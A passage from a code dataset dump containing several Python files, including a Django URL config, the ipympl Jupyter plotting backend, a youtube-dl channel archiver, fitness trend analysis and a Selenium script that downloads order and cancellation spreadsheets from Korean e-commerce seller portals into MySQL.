django.contrib.auth import views as v\n\nurlpatterns = [\n\tpath('',views.home,name=\"hm\"),\n\tpath('abt/',views.about,name=\"ab\"),\n\tpath('cnt/',views.contact,name=\"ct\"),\n\tpath('reg/',views.regi,name=\"rg\"),\n\tpath('dsh/',views.dashboard,name=\"ds\"),\n\tpath('lg/',v.LoginView.as_view(template_name=\"ht/login.html\"),name=\"log\"),\n\tpath('lgo/',v.LogoutView.as_view(template_name=\"ht/logout.html\"),name=\"lgot\"),\n]","sub_path":"Day-20/Dtlapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"458320042","text":"\"\"\"Interactive figures in the Jupyter notebook\"\"\"\n\nfrom base64 import b64encode\nimport json\nimport io\n\nfrom IPython.display import display, HTML\n\nfrom ipywidgets import DOMWidget, widget_serialization\nfrom traitlets import (\n Unicode, Bool, CInt, Float, List, Instance, CaselessStrEnum, Enum,\n default\n)\n\nfrom matplotlib import rcParams\nfrom matplotlib.figure import Figure\nfrom matplotlib import is_interactive\nfrom matplotlib.backends.backend_webagg_core import (FigureManagerWebAgg,\n FigureCanvasWebAggCore,\n NavigationToolbar2WebAgg,\n TimerTornado)\nfrom matplotlib.backend_bases import (ShowBase, NavigationToolbar2,\n FigureCanvasBase, cursors)\n\nfrom ._version import js_semver\n\ncursors_str = {\n cursors.HAND: 'pointer',\n cursors.POINTER: 'default',\n cursors.SELECT_REGION: 'crosshair',\n cursors.MOVE: 'move',\n cursors.WAIT: 'wait'\n}\n\n\nclass Show(ShowBase):\n\n def __call__(self, block=None):\n from matplotlib._pylab_helpers import Gcf\n\n managers = Gcf.get_all_fig_managers()\n if not managers:\n return\n\n interactive = is_interactive()\n\n for manager in managers:\n manager.show()\n\n # plt.figure adds an event which puts the figure in focus\n # in the activeQue. Disable this behaviour, as it results in\n # figures being put as the active figure after they have been\n # shown, even in non-interactive mode.\n if hasattr(manager, '_cidgcf'):\n manager.canvas.mpl_disconnect(manager._cidgcf)\n\n if not interactive and manager in Gcf._activeQue:\n Gcf._activeQue.remove(manager)\n\n\nshow = Show()\n\n\ndef draw_if_interactive():\n import matplotlib._pylab_helpers as pylab_helpers\n\n if is_interactive():\n manager = pylab_helpers.Gcf.get_active()\n if manager is not None:\n manager.show()\n\n\ndef connection_info():\n \"\"\"\n Return a string showing the figure and connection status for\n the backend. This is intended as a diagnostic tool, and not for general\n use.\n\n \"\"\"\n from matplotlib._pylab_helpers import Gcf\n result = []\n for manager in Gcf.get_all_fig_managers():\n fig = manager.canvas.figure\n result.append('{0} - {1}'.format((fig.get_label() or\n \"Figure {}\".format(manager.num)),\n manager.web_sockets))\n if not is_interactive():\n result.append('Figures pending show: {0}'.format(len(Gcf._activeQue)))\n return '\\n'.join(result)\n\n\nclass Toolbar(DOMWidget, NavigationToolbar2WebAgg):\n\n _model_module = Unicode('jupyter-matplotlib').tag(sync=True)\n _model_module_version = Unicode(js_semver).tag(sync=True)\n _model_name = Unicode('ToolbarModel').tag(sync=True)\n\n _view_module = Unicode('jupyter-matplotlib').tag(sync=True)\n _view_module_version = Unicode(js_semver).tag(sync=True)\n _view_name = Unicode('ToolbarView').tag(sync=True)\n\n toolitems = List().tag(sync=True)\n orientation = Enum(['horizontal', 'vertical'],\n default_value='vertical').tag(sync=True)\n button_style = CaselessStrEnum(\n values=['primary', 'success', 'info', 'warning', 'danger', ''],\n default_value='',\n help=\"\"\"Use a predefined styling for the button.\"\"\").tag(sync=True)\n collapsed = Bool(True).tag(sync=True)\n\n _current_action = Enum(values=['pan', 'zoom', ''],\n default_value='').tag(sync=True)\n\n def __init__(self, canvas, *args, **kwargs):\n DOMWidget.__init__(self, *args, **kwargs)\n NavigationToolbar2WebAgg.__init__(self, canvas, *args, **kwargs)\n\n self.on_msg(self.canvas._handle_message)\n\n def export(self):\n buf = io.BytesIO()\n self.canvas.figure.savefig(buf, format='png', dpi='figure')\n # Figure width in pixels\n pwidth = (self.canvas.figure.get_figwidth() *\n self.canvas.figure.get_dpi())\n # Scale size to match widget on HiPD monitors\n width = pwidth / self.canvas._dpi_ratio\n data = \"\"\n data = data.format(b64encode(buf.getvalue()).decode('utf-8'), width)\n display(HTML(data))\n\n @default('toolitems')\n def _default_toolitems(self):\n icons = {\n 'home': 'home',\n 'back': 'arrow-left',\n 'forward': 'arrow-right',\n 'zoom_to_rect': 'square-o',\n 'move': 'arrows',\n 'download': 'floppy-o',\n 'export': 'file-picture-o'\n }\n\n download_item = ('Download', 'Download plot', 'download',\n 'save_figure')\n\n toolitems = (NavigationToolbar2.toolitems + (download_item,))\n\n return [(text, tooltip, icons[icon_name], method_name)\n for text, tooltip, icon_name, method_name\n in toolitems\n if icon_name in icons]\n\n\nclass Canvas(DOMWidget, FigureCanvasWebAggCore):\n\n _model_module = Unicode('jupyter-matplotlib').tag(sync=True)\n _model_module_version = Unicode(js_semver).tag(sync=True)\n _model_name = Unicode('MPLCanvasModel').tag(sync=True)\n\n _view_module = Unicode('jupyter-matplotlib').tag(sync=True)\n _view_module_version = Unicode(js_semver).tag(sync=True)\n _view_name = Unicode('MPLCanvasView').tag(sync=True)\n\n toolbar = Instance(Toolbar,\n allow_none=True).tag(sync=True, **widget_serialization)\n toolbar_visible = Bool(True).tag(sync=True)\n toolbar_position = Enum(['top', 'bottom', 'left', 'right'],\n default_value='left').tag(sync=True)\n\n header_visible = Bool(True).tag(sync=True)\n footer_visible = Bool(True).tag(sync=True)\n\n resizable = Bool(True).tag(sync=True)\n capture_scroll = Bool(False).tag(sync=True)\n\n _width = CInt().tag(sync=True)\n _height = CInt().tag(sync=True)\n\n _figure_label = Unicode('Figure').tag(sync=True)\n _message = Unicode().tag(sync=True)\n _cursor = Unicode('pointer').tag(sync=True)\n\n _image_mode = Unicode('full').tag(sync=True)\n\n _rubberband_x = CInt(0).tag(sync=True)\n _rubberband_y = CInt(0).tag(sync=True)\n _rubberband_width = CInt(0).tag(sync=True)\n _rubberband_height = CInt(0).tag(sync=True)\n\n _closed = Bool(True)\n\n # Must declare the superclass private members.\n _png_is_old = Bool()\n _force_full = Bool()\n _current_image_mode = Unicode()\n _dpi_ratio = Float(1.0)\n\n def __init__(self, figure, *args, **kwargs):\n DOMWidget.__init__(self, *args, **kwargs)\n FigureCanvasWebAggCore.__init__(self, figure, *args, **kwargs)\n\n self.on_msg(self._handle_message)\n\n def _handle_message(self, object, content, buffers):\n # Every content has a \"type\".\n if content['type'] == 'closing':\n self._closed = True\n elif content['type'] == 'initialized':\n _, _, w, h = self.figure.bbox.bounds\n self.manager.resize(w, h)\n else:\n self.manager.handle_json(content)\n\n def send_json(self, content):\n # Change in the widget state?\n if content['type'] == 'cursor':\n self._cursor = cursors_str[content['cursor']]\n\n elif content['type'] == 'message':\n self._message = content['message']\n\n elif content['type'] == 'figure_label':\n self._figure_label = content['label']\n\n elif content['type'] == 'resize':\n self._width = content['size'][0]\n self._height = content['size'][1]\n # Send resize message anyway\n self.send({'data': json.dumps(content)})\n\n elif content['type'] == 'image_mode':\n self._image_mode = content['mode']\n\n else:\n # Default: send the message to the front-end\n self.send({'data': json.dumps(content)})\n\n def send_binary(self, data):\n self.send({'data': '{\"type\": \"binary\"}'}, buffers=[data])\n\n def new_timer(self, *args, **kwargs):\n return TimerTornado(*args, **kwargs)\n\n def start_event_loop(self, timeout):\n FigureCanvasBase.start_event_loop_default(self, timeout)\n\n def stop_event_loop(self):\n FigureCanvasBase.stop_event_loop_default(self)\n\n\nclass FigureManager(FigureManagerWebAgg):\n ToolbarCls = Toolbar\n\n def __init__(self, canvas, num):\n FigureManagerWebAgg.__init__(self, canvas, num)\n self.web_sockets = [self.canvas]\n\n def show(self):\n if self.canvas._closed:\n self.canvas._closed = False\n display(self.canvas)\n else:\n self.canvas.draw_idle()\n\n def destroy(self):\n self.canvas.close()\n\n\ndef new_figure_manager(num, *args, **kwargs):\n \"\"\"\n Create a new figure manager instance\n \"\"\"\n figure_class = kwargs.pop('FigureClass', Figure)\n this_fig = figure_class(*args, **kwargs)\n return new_figure_manager_given_figure(num, this_fig)\n\n\ndef new_figure_manager_given_figure(num, figure):\n \"\"\"\n Create a new figure manager instance for the given figure.\n \"\"\"\n from matplotlib._pylab_helpers import Gcf\n\n def closer(event):\n Gcf.destroy(num)\n\n canvas = Canvas(figure)\n if 'nbagg.transparent' in rcParams and rcParams['nbagg.transparent']:\n figure.patch.set_alpha(0)\n manager = FigureManager(canvas, num)\n\n if is_interactive():\n manager.show()\n figure.canvas.draw_idle()\n\n canvas.mpl_connect('close_event', closer)\n\n return manager\n","sub_path":"ipympl/backend_nbagg.py","file_name":"backend_nbagg.py","file_ext":"py","file_size_in_byte":9689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"66205841","text":"import os\nimport re\nfrom copy import deepcopy\nfrom functools import partial\nfrom pathlib import Path\nfrom multiprocessing import Pool\n\nimport youtube_dl\nimport click\n\nREGEX_CHANNEL_ID = re.compile(\n r'.+.com/(c|channel)/(?P[a-z0-9_-]+).*', re.IGNORECASE\n)\n\nYDL_OPTS = {\n 'format': 'bestvideo+bestaudio',\n 'retries': 10,\n 'continue': True,\n 'writeinfojson': True,\n 'writedescription': True,\n 'writethumbnail': True,\n 'writeannotations': True,\n 'allsubs': True,\n 'ignoreerrors': True,\n 'addmetadata': True,\n 'outtmpl': '%(title)s.%(ext)s',\n}\n\n\ndef _download_channel(channel_url, output_dir):\n opts = deepcopy(YDL_OPTS)\n opts['download_archive'] = str(Path(output_dir) / 'download_archive.txt')\n folder_name = REGEX_CHANNEL_ID.search(channel_url).groupdict()[\n 'channel_id'\n ]\n opts['outtmpl'] = f'{output_dir}/{folder_name}/{opts[\"outtmpl\"]}'\n with youtube_dl.YoutubeDL(opts) as ydl:\n ydl.download([channel_url])\n\n\n@click.command()\n@click.option('--output-dir')\n@click.argument('channel_urls', nargs=-1)\ndef main(output_dir, channel_urls):\n try:\n os.mkdir(output_dir)\n except FileExistsError:\n pass\n num_proc = min(2, len(channel_urls))\n pool = Pool(num_proc)\n download = partial(_download_channel, output_dir=output_dir)\n for _ in pool.map(download, channel_urls):\n pass\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"yt_archive/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"441830366","text":"\nimport texture\nfrom OpenGL.GL import *\n\nimport gldrawing\n\nclass MonospacedFont:\n\n\tdef __init__ (self):\n\t\n\t\tself.tex = texture.TextureFromFile (\"artwork/charset.png\", 16, 16)\n\t\n\tdef draw_text_to_display (self, display, text, ox, oy):\n\t\n\t\tself.tex.select_texture ()\n\t\tfor i in range(len(text)):\n\t\t\tci = ord (text[i])\n\t\t\tself.tex.select_tile (ci)\n\t\t\tgldrawing.draw_screenspace_rect (ox+i*8, oy, 8, 8, True)\n\n","sub_path":"text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"413483995","text":"import datetime as dt\nfrom math import e\n\nfrom sklearn.linear_model import LinearRegression\nimport numpy as np\nimport pandas as pd\n\n\ndef compute_metrics(data):\n data[\"net_carbs\"] = data[\"carbohydrates\"].subtract(data[\"fiber\"])\n data[\"composition_ratio\"] = data[\"muscle\"].div(data[\"body_fat\"])\n data[\"water_weight\"] = data[\"water\"].mul(data[\"weight\"])\n data[\"muscle_mass\"] = data[\"muscle\"].mul(data[\"weight\"])\n data[\"fat_mass\"] = data[\"body_fat\"].mul(data[\"weight\"])\n data[\"calorie_deficit\"] = data[\"calories_burned\"].sub(data[\"calories\"])\n\n return data\n\n\ndef get_trend_model(data, column):\n X = data[\"date\"]\n X = np.asarray(X.map(dt.datetime.toordinal)).reshape(-1, 1)\n\n y = np.asarray(data[column]).reshape(-1, 1)\n y = np.log(y)\n\n model = LinearRegression()\n model.fit(X, y)\n return model\n\n\ndef compute_trends(data):\n metrics = [x for x in data.columns if x != \"date\"]\n\n for metric in metrics:\n min_value = np.min(data[metric])\n if min_value <= 0:\n data[metric] = data[metric].add(min_value + 1)\n\n daily_trend = [\n get_trend_model(data, x).coef_[0][0]\n for x in metrics\n ]\n daily_trend = [e**x - 1 for x in daily_trend]\n weekly_trend = [(x + 1)**7 - 1 for x in daily_trend]\n monthly_trend = [(x + 1)**30.4 - 1 for x in daily_trend]\n\n trends = {\n # \"metric\": metrics,\n \"daily\": [np.round(x, 2) for x in daily_trend],\n \"weekly\": [np.round(x, 2) for x in weekly_trend],\n \"monthly\": [np.round(x, 2) for x in monthly_trend]\n }\n trends = pd.DataFrame(trends)\n trends.index = metrics\n return trends\n\n\ndef rolling_mean(df, n):\n dates = df[\"date\"][(n-1):]\n means = df.rolling(n).mean().iloc[(n - 1):]\n means[\"date\"] = dates\n return means\n","sub_path":"package/fitness/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":1787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"308155634","text":"from Tkinter import *\nimport tkMessageBox\n\ntop = Tk()\n\ndef show():\n tkMessageBox.showinfo(\"Spin Box value \",\"Value from Spin Box \"+str(sb.get()))\n tkMessageBox.showinfo(\"Scale Value \",\"Value from Scale Box \"+str(sc.get()))\n\nsb = Spinbox(top, from_=0, to=10)\nsb.pack()\n\nsc = Scale(top,orient=HORIZONTAL)\nsc.pack()\n\nb1=Button(top,text=\"Click me \", width=\"20\",height=\"5\",command=show)\nb1.pack()\n\ntop.mainloop()\n","sub_path":"PYTHON/Advance/Python Controls/py_SpinBox_ScaleBox.py","file_name":"py_SpinBox_ScaleBox.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"219939473","text":"#\n# 11번가에서 취소 목록을 불러와서 별도의 엑셀파일로 정리 후, 슬랙으로 던져주는 코드\n#\n# 1. 외부채널: 취소신청 / 비플로우: 결제후 출고전 단계인 값은 취소요청으로 변경\n# 2. 비플로우 취소요청이 수집이후 24시간 경과 17시가 되는경우에는 일괄 취소완료로 변경\n# 3. 비플로우 : 취소완료 -> 환불완료 / 외부채널 : 취소, 환불완료로 변경\n#\n\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.chrome.webdriver import WebDriver\nfrom selenium.webdriver.support.ui import Select\nimport config\nimport time\nimport os\nfrom datetime import datetime\nimport pyexcel as p\nimport pymysql\nfrom openpyxl import load_workbook\nimport dateutil.relativedelta\nimport re\nfrom openpyxl import Workbook\nfrom pyvirtualdisplay import Display\nfrom reqStatus import requestStaus, requestStausChannel\n\ndisplay = Display(visible=0, size=(1200, 900))\ndisplay.start()\n\n\ndef replace_date(text):\n if text is None:\n return\n else:\n text = text[0:10]\n return text.strip()\n\n\ndef replace_none(text):\n if text is None:\n return\n else:\n text = str(text)\n return text.strip()\n\n\ndef replace_int(text):\n if text is None:\n return\n else:\n text = int(text)\n return text\n\n\nrex = re.compile('_F[0-9]+')\n\n# 날짜 관련\nmakeToday = datetime.today()\nnow = makeToday.strftime(\"%m%d_%H%M\")\ntotalNow = makeToday.strftime(\"%Y-%m-%d\")\nmakeLastMonth = makeToday - dateutil.relativedelta.relativedelta(months=1)\nendNow = makeLastMonth.strftime(\"%Y-%m-%d\")\n\n\ndef change_file_to_xlsx(original_name, result_name):\n st_ori_excel = config.ST_LOGIN['excelPath'] + original_name\n st_result_excel = config.ST_LOGIN['excelPath'] + result_name + now + '.xls'\n st_result_xlsx = config.ST_LOGIN['excelPath'] + result_name + now + '.xlsx'\n\n os.rename(st_ori_excel, st_result_excel)\n\n p.save_book_as(file_name=st_result_excel, dest_file_name=st_result_xlsx)\n os.remove(st_result_excel)\n return st_result_xlsx\n\n\ndef find_select(xpath, value):\n el = Select(driver.find_element_by_xpath(xpath))\n el.select_by_value(value)\n\n\noptions = Options()\n\noptions.add_argument(\"disable-gpu\")\nprefs = {\n \"download.default_directory\": config.ST_LOGIN['excelPath'],\n \"directory_upgrade\": True\n}\noptions.add_experimental_option(\"prefs\", prefs)\ndriver: WebDriver = webdriver.Chrome(executable_path='/usr/bin/chromedriver', options=options)\n\ndriver.get('https://login.11st.co.kr/auth/front/selleroffice/login.tmall')\n\ndriver.find_element_by_id('user-id').send_keys(config.ST_LOGIN['id'])\ndriver.find_element_by_id('passWord').send_keys(config.ST_LOGIN['password'])\ndriver.find_element_by_xpath('/html/body/div/form[1]/fieldset/button').click()\ntime.sleep(5)\nprint('login')\ndriver.get('https://soffice.11st.co.kr/escrow/OrderCancelManageList2nd.tmall')\ntime.sleep(5)\n\nfind_select('//select[@id=\"key\"]', '02')\nfind_select('//select[@id=\"shDateType\"]', '07')\nfind_select('//select[@id=\"sltDuration\"]', 'TODAY')\ntime.sleep(2)\ndriver.find_element_by_xpath('//*[@id=\"search_area\"]/form/div[1]/div[2]/div[2]/div[2]/div/button[1]').click()\ntime.sleep(3)\n\ndriver.find_element_by_xpath('//*[@id=\"search_area\"]/form/div[3]/div/a').click()\ntime.sleep(2)\ndriver.get('https://soffice.11st.co.kr/escrow/OrderingLogistics.tmall')\ntime.sleep(2)\nfindUp = driver.find_element_by_id('goDlvTmpltPopup')\ndriver.switch_to.frame(findUp.find_element_by_tag_name('iframe'))\ndriver.find_element_by_xpath('//*[@id=\"ext-gen6\"]/div/button').click()\ntime.sleep(1)\ndriver.switch_to.default_content()\ndriver.find_element_by_xpath('//*[@id=\"order_good_301\"]').click()\ntime.sleep(2)\ndriver.find_element_by_xpath('//*[@id=\"searchform\"]/div/div[1]/div[6]/div/a[2]').click()\ntime.sleep(4)\nprint(driver.window_handles)\ndriver.switch_to.window(driver.window_handles[1])\ndriver.find_element_by_xpath('/html/body/div/div[2]/div[4]/div/a[1]').click()\ntime.sleep(60)\ndriver.close()\n\n# 취소 신청, 완료 목록 -> 둘 다 필요함\ncancelFile = change_file_to_xlsx('39731068_sellListlistType.xls', '11st_Cancel_')\n# 배송준비 목록 - 외부채널에서 배송준비중인데 우리쪽에서 취소 또는 클레임을 찾으려고... - 발송처리할 내역\nlogiFile = change_file_to_xlsx('39731068_logistics.xls', '11st_logi_')\n\npath = cancelFile\n\nwb = load_workbook(path)\n\nws = wb.active\n\ndb = pymysql.connect(\n host=config.DATABASE_CONFIG['host'],\n user=config.DATABASE_CONFIG['user'],\n password=config.DATABASE_CONFIG['password'],\n db=config.DATABASE_CONFIG['db'],\n charset=config.DATABASE_CONFIG['charset'],\n autocommit=True)\ncursor = db.cursor()\n\ndelOrder = '''DELETE From `bflow`.`11st_cancel`'''\ncursor.execute(delOrder)\nsql = '''INSERT INTO `bflow`.`11st_cancel` (\n state,\n channel_order_number,\n channel_order_list,\n claim_request,\n claim_complete,\n product_name,\n product_option,\n quantity,\n order_amount,\n cancel_reason,\n cancel_detail_reason,\n cancel_response,\n add_delivery_fees,\n cancel_complete_date,\n payment_at,\n product_amount,\n product_option_amount,\n cancel_complete_user,\n fcode\n ) VALUES (\n %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\n ON DUPLICATE KEY UPDATE state = %s, claim_request = %s, claim_complete = %s, cancel_reason = %s,\n cancel_detail_reason = %s, cancel_response =%s, add_delivery_fees = %s, cancel_complete_date = %s,\n cancel_complete_user = %s, fcode = %s\n '''\nmaxRow = ws.max_row - 2\nprint(maxRow)\n\nfor row in ws.iter_rows(min_row=7, max_row=maxRow):\n state = replace_none(row[1].value)\n channel_order_number = replace_none(row[2].value)\n channel_order_list = replace_int(row[3].value)\n claim_request = row[4].value\n claim_complete = row[5].value\n product_name = replace_none(row[6].value)\n product_option = replace_none(row[7].value)\n quantity = replace_int(row[8].value)\n order_amount = replace_int(row[13].value)\n cancel_reason = replace_none(row[16].value)\n cancel_detail_reason = replace_none(row[17].value)\n cancel_response = replace_none(row[18].value)\n add_delivery_fees = replace_int(row[19].value)\n cancel_complete_date = replace_date(row[20].value)\n payment_at = row[31].value\n product_amount = replace_int(row[33].value)\n product_option_amount = replace_int(row[34].value)\n cancel_complete_user = replace_none(row[37].value)\n if product_option is None:\n fcode = None\n else:\n try:\n fcode = rex.search(product_option).group()\n except Exception as ex:\n fcode = None\n print(product_option)\n print(ex)\n\n values = (\n state,\n channel_order_number,\n channel_order_list,\n claim_request,\n claim_complete,\n product_name,\n product_option,\n quantity,\n order_amount,\n cancel_reason,\n cancel_detail_reason,\n cancel_response,\n add_delivery_fees,\n cancel_complete_date,\n payment_at,\n product_amount,\n product_option_amount,\n cancel_complete_user,\n fcode,\n state,\n claim_request,\n claim_complete,\n cancel_reason,\n cancel_detail_reason,\n cancel_response,\n add_delivery_fees,\n cancel_complete_date,\n cancel_complete_user,\n fcode\n )\n print(sql, values)\n cursor.execute(sql, values)\nos.remove(cancelFile)\n\npath = logiFile\n\nwb = load_workbook(path)\n\nws = wb.active\n\ndelOrder = '''DELETE From `bflow`.`channel_order` where channel = \"11st\"'''\ncursor.execute(delOrder)\norderSql = '''\n INSERT INTO `bflow`.`channel_order` (\n state,\n channel_order_number,\n channel_order_list,\n product_name,\n product_option,\n quantity,\n payment_at,\n channel,\n fcode,\n channel_amount,\n channel_calculate\n ) VALUES (\n %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\n ON DUPLICATE KEY UPDATE state = %s\n '''\nmaxRow = ws.max_row - 2\n\nfor row in ws.iter_rows(min_row=3, max_row=maxRow):\n state = replace_none(row[1].value)\n channel_order_number = replace_none(row[2].value)\n channel_order_list = replace_int(row[3].value)\n product_name = replace_none(row[6].value)\n product_option = replace_none(row[7].value)\n quantity = replace_int(row[8].value)\n payment_at = row[5].value\n channel = '11st'\n channel_product_amount = row[10].value.replace(',', '')\n channel_option_amount = row[11].value.replace(',', '')\n channel_amount = str(int(channel_product_amount) + int(channel_option_amount))\n\n channel_calculate = row[17].value\n if product_option is None:\n fcode = None\n else:\n try:\n fcode = rex.search(product_option).group()\n except Exception as ex:\n fcode = None\n print(product_option)\n print(ex)\n orderValues = (\n state,\n channel_order_number,\n channel_order_list,\n product_name,\n product_option,\n quantity,\n payment_at,\n channel,\n fcode,\n channel_amount,\n channel_calculate,\n state\n\n )\n cursor.execute(orderSql, orderValues)\n print(orderSql, orderValues)\nos.remove(logiFile)\n# 11번가 끝\n\n# 지마켓 시작 -- 옥션\ndriver.switch_to.window(driver.window_handles[0])\ndriver.get('https://www.esmplus.com/Member/SignIn/LogOn')\ndriver.find_element_by_xpath('//*[@id=\"rdoSiteSelect\" and @value=\"GMKT\"]').click()\ndriver.find_element_by_xpath('//*[@id=\"SiteId\"]').send_keys(config.ESM_LOGIN['id'])\ndriver.find_element_by_xpath('//*[@id=\"SitePassword\"]').send_keys(config.ESM_LOGIN['password'])\ndriver.find_element_by_xpath('//*[@id=\"btnSiteLogOn\"]').click()\ntime.sleep(3)\nwindowLists = driver.window_handles\nfor windowList in windowLists[1:]:\n driver.switch_to.window(driver.window_handles[-1])\n driver.close()\n\ndriver.switch_to.window(driver.window_handles[0])\ndriver.get('http://www.esmplus.com/Member/CustomerService/FindCustomer?menuCode=TDM144')\ndriver.find_element_by_xpath('//*[@id=\"contents\"]/div/div[2]/ul/li[1]/span/span[5]/a').click()\ndriver.find_element_by_xpath('//*[@id=\"btnSearch\"]').click()\ndriver.find_element_by_xpath('//*[@id=\"contents\"]/div/div[3]/a').click()\ntime.sleep(15)\n\ngmarketFile = change_file_to_xlsx('findcustomer_' + totalNow + '.xls', 'gmarket_state_')\n\npath = gmarketFile\n\nwb = load_workbook(path)\n\nws = wb.active\n\ndelOrder = '''DELETE From `bflow`.`channel_order` where channel = \"gmarket\" or channel = \"auction\"'''\ncursor.execute(delOrder)\norderSql = '''\n INSERT INTO `bflow`.`channel_order` (\n state,\n channel_order_number,\n channel_order_list,\n product_name,\n product_option,\n quantity,\n payment_at,\n channel,\n fcode\n ) VALUES (\n %s, %s, %s, %s, %s, %s, %s, %s, %s)\n ON DUPLICATE KEY UPDATE state = %s\n '''\nmaxRow = ws.max_row - 2\n\nfor row in ws.iter_rows(min_row=2):\n state = replace_none(row[12].value)\n channel_order_number = replace_none(row[2].value)\n channel_order_list = replace_none(row[3].value)\n product_name = replace_none(row[4].value)\n product_option = None\n quantity = replace_int(row[6].value)\n payment_at = replace_none(row[7].value)\n if channel_order_list[0] == 'B':\n channel = 'auction'\n else:\n channel = 'gmarket'\n if product_option is None:\n fcode = None\n else:\n fcode = rex.search(product_option).group()\n\n orderValues = (\n state,\n channel_order_number,\n channel_order_list,\n product_name,\n product_option,\n quantity,\n payment_at,\n channel,\n fcode,\n state\n\n )\n cursor.execute(orderSql, orderValues)\n print(orderSql, orderValues)\nos.remove(gmarketFile)\n# 지마켓 끝\n\nwb = Workbook()\n\nws = wb.active\nno = 2\n\ncancelState = f'''\n select `channel_order_number`,`fcode`, `product_name`,\n `product_option`, `state`, `cancel_reason`, `cancel_detail_reason`\n from `11st_cancel`;\n '''\ncursor.execute(cancelState)\ncancelNowTotal = cursor.fetchall()\nfor cancelNow in cancelNowTotal:\n channel_order_number = cancelNow[0]\n fcode = cancelNow[1]\n product_name = cancelNow[2]\n product_option = cancelNow[3]\n state = cancelNow[4]\n cancelReason = cancelNow[5]\n cancelDetailReason = cancelNow[6]\n print(channel_order_number, fcode)\n bflowStatus = requestStaus(channel_order_number, fcode)\n\n if bflowStatus['success'] is True:\n\n product_order_number = bflowStatus['message']['orderItemOptionId']\n order_number = bflowStatus['message']['orderCode']\n orderState = bflowStatus['message']['status']\n\n if len(bflowStatus['message']['claims']) > 0:\n claimType = bflowStatus['message']['claims'][0]['claimType']\n claimStatus = bflowStatus['message']['claims'][0]['claimStatus']\n if claimType is None:\n claim_state = None\n elif claimType is 'cancel':\n claimType = '취소'\n claim_state = claimType + \":\" + claimStatus\n elif claimType is 'return':\n claimType = '반품'\n claim_state = claimType + \":\" + claimStatus\n elif claimType is 'exchange':\n claimType = '교환'\n claim_state = claimType + \":\" + claimStatus\n else:\n claim_state = claimType + \":\" + claimStatus\n else:\n claim_state = None\n\n ws.cell(row=1, column=1).value = '상품주문번호'\n ws.cell(row=1, column=2).value = '주문번호'\n ws.cell(row=1, column=3).value = '외부채널주문번호'\n ws.cell(row=1, column=4).value = '상품명'\n ws.cell(row=1, column=5).value = '상품옵션'\n ws.cell(row=1, column=6).value = '브리치 클레임상태'\n ws.cell(row=1, column=7).value = '브리치 주문상태'\n ws.cell(row=1, column=8).value = '11번가 상태'\n ws.cell(row=1, column=9).value = '11번가 클레임이'\n ws.cell(row=1, column=10).value = '11번가 클레임상세이유'\n print(orderState, state)\n if orderState == '결제취소' and state == '취소완료':\n print('skip')\n continue\n else:\n ws.cell(row=no, column=1).value = product_order_number\n ws.cell(row=no, column=2).value = order_number\n ws.cell(row=no, column=3).value = channel_order_number\n ws.cell(row=no, column=4).value = product_name\n ws.cell(row=no, column=5).value = product_option\n ws.cell(row=no, column=6).value = claim_state\n ws.cell(row=no, column=7).value = orderState\n ws.cell(row=no, column=8).value = state\n ws.cell(row=no, column=9).value = cancelReason\n ws.cell(row=no, column=10).value = cancelDetailReason\n\n no += 1\n else:\n pass\nresult = config.ST_LOGIN['excelPath'] + 'CancelResult_' + totalNow + \"_\" + now + '.xlsx'\nwb.save(result)\nwb.close()\n\nsql = '''\n select `id`, `product_option`, `channel_order_number` from `channel_order` where channel = '11st'\n '''\ncursor.execute(sql)\noptionRows = cursor.fetchall()\n\nfor optionRow in optionRows:\n idNo = optionRow[0]\n fcodeText = optionRow[1]\n channelOrderNumber = optionRow[2]\n fcode = None\n if fcodeText is not None:\n fcodeText = rex.search(optionRow[1])\n fcode = fcodeText.group()\n\n updateSql = '''\n update `channel_order` set fcode = %s where id = %s and channel_order_number = %s\n '''\n updateValue = (\n fcode,\n idNo,\n channelOrderNumber\n )\n cursor.execute(updateSql, updateValue)\n print(updateSql, updateValue)\n\nebayOrderList = f'''\n select `channel_order_number`, `product_name`, `state`, `channel`\n from `channel_order` where `payment_at` >= 2019-11-09 and `channel` in ('gmarket', 'auction', 'g9')\n and state not in ('입금대기', '판매자송금', '구매결정완료', '배송지연/발송예정', '주문확인'); \n '''\n\ncursor.execute(ebayOrderList)\nebayOrderRows = cursor.fetchall()\n\nwb = Workbook()\n\nws = wb.active\nno = 2\n\nfor ebayOrderRow in ebayOrderRows:\n channelOrderNumber = ebayOrderRow[0]\n productName = ebayOrderRow[1]\n state = ebayOrderRow[2]\n channel = ebayOrderRow[3]\n\n bflowStatus = requestStausChannel(channelOrderNumber, channel)\n\n if bflowStatus['success'] is True:\n\n productOrderNumber = bflowStatus['message']['orderItemOptionId']\n orderState = bflowStatus['message']['status']\n productOption = bflowStatus['message']['productOption']\n if len(bflowStatus['message']['claims']) > 0:\n claimType = bflowStatus['message']['claims'][0]['claimType']\n claimStatus = bflowStatus['message']['claims'][0]['claimStatus']\n\n if claimType is None:\n claim_state = None\n elif claimType is 'cancel':\n claimType = '취소'\n claim_state = claimType + \":\" + claimStatus\n elif claimType is 'return':\n claimType = '반품'\n claim_state = claimType + \":\" + claimStatus\n elif claimType is 'exchange':\n claimType = '교환'\n claim_state = claimType + \":\" + claimStatus\n else:\n claim_state = claimType + \":\" + claimStatus\n else:\n claim_state = None\n\n ws.cell(row=1, column=1).value = '상품주문번호'\n ws.cell(row=1, column=2).value = '외부채널주문번호'\n ws.cell(row=1, column=3).value = '상품명'\n ws.cell(row=1, column=4).value = 